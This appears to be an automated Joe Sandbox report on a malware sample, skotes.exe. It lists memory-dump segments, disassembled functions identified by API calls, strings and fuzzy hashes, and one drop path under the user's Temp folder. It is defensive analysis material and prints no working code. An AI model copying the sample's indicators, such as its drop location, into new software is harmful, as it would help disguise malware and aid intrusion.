Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: ?]&$
API String ID: 1418687624-313912829
Opcode ID: 4fadef7f22b819e618b20660834026bd35cf75bfc399d7a9db6e24c1920fc9fd
Instruction ID: 983248afd05c410a464ae29bac1091b7a5c208cb9540fb3c84f2baab761956fd
Opcode Fuzzy Hash: 4fadef7f22b819e618b20660834026bd35cf75bfc399d7a9db6e24c1920fc9fd
Instruction Fuzzy Hash: 67312B71905605FBDB10DF98ED06BDAF7A8EF04320F148269F81597281DF71A940C6B2

Function 00D3F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D3F232
__freea.LIBCMT ref: 00D3F298

Part of subcall function 00D3B04B: RtlAllocateHeap.NTDLL(00000000,24265D3F,?,?]&$,00D1D3FC,?]&$,?,00D17A8B,?,?,?,?,?,?,00D07465,?), ref: 00D3B07E

Strings

?]&$, xrefs: 00D3F1C7

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: ?]&$
API String ID: 809856575-313912829
Opcode ID: 562bb7598bb18503658170a93e22fa16924447f8e0ff31fdbff36f3658740421
Instruction ID: 1d4c2eb2faad38d5dbb3447628f6f2c736cef4a78c69e7717eebc45ea76b163f
Opcode Fuzzy Hash: 562bb7598bb18503658170a93e22fa16924447f8e0ff31fdbff36f3658740421
Instruction Fuzzy Hash: 66319076D0021AEBDB219F65DC41EAF7BA9EF85320F094128F918A7251DB348D51C7B4

Function 00D19A80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D19B1A
Concurrency::cancel_current_task.LIBCPMT ref: 00D19B60

Strings

?]&$, xrefs: 00D19A94

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskMtx_unlock
String ID: ?]&$
API String ID: 1170726187-313912829
Opcode ID: de96dcf69f7288e6e37d61554a973aa4bf20eeed984f7590bc26106aae812d6b
Instruction ID: f2e0cb13f8dc25d5c65e10218a6ecf3f4dd37b0b30bfc329743f69e6f2352975
Opcode Fuzzy Hash: de96dcf69f7288e6e37d61554a973aa4bf20eeed984f7590bc26106aae812d6b
Instruction Fuzzy Hash: 6B31E270D04249ABDB10DBA4E995BEFBBF8EF05704F140119F406A3282DB74A984C7B1

Function 00D3DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00D3DFE8

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 9ae22c42b69b7fbbcf4453f5b9210ac2f767dfcb40b41b01fd0bee38caf31639
Instruction ID: 96bfbcc8b0ac5d117f0a312afdfcb5d866f917d713e9f2b5432120f844dc40ae
Opcode Fuzzy Hash: 9ae22c42b69b7fbbcf4453f5b9210ac2f767dfcb40b41b01fd0bee38caf31639
Instruction Fuzzy Hash: 9D219D7260420EAFDB38AF65DC81E6B77ADEF003A4F144515F928966D1E7A1EC008BB1

Function 00D03380 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

__Cnd_broadcast.LIBCPMT ref: 00D033CB
__Mtx_unlock.LIBCPMT ref: 00D033DF

Strings

?]&$, xrefs: 00D03393

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_broadcastMtx_unlock
String ID: ?]&$
API String ID: 3773178532-313912829
Opcode ID: e5de40ee7b3bd066ed0833f2ad210e51c7a8279b45ea3a38242af6d36fa20eab
Instruction ID: b644db78a6b7bd087bf2744e910f7e77ead9ce287e01e1284345c8db3d210ca3
Opcode Fuzzy Hash: e5de40ee7b3bd066ed0833f2ad210e51c7a8279b45ea3a38242af6d36fa20eab
Instruction Fuzzy Hash: F6113372A04614FBDB219B59E806B9AB3ACEF55730F04412AE80AD7691EB74ED0587F0

Function 00D1B5D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D1B65E

Strings

csm, xrefs: 00D1B612
?]&$, xrefs: 00D1B5DC

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

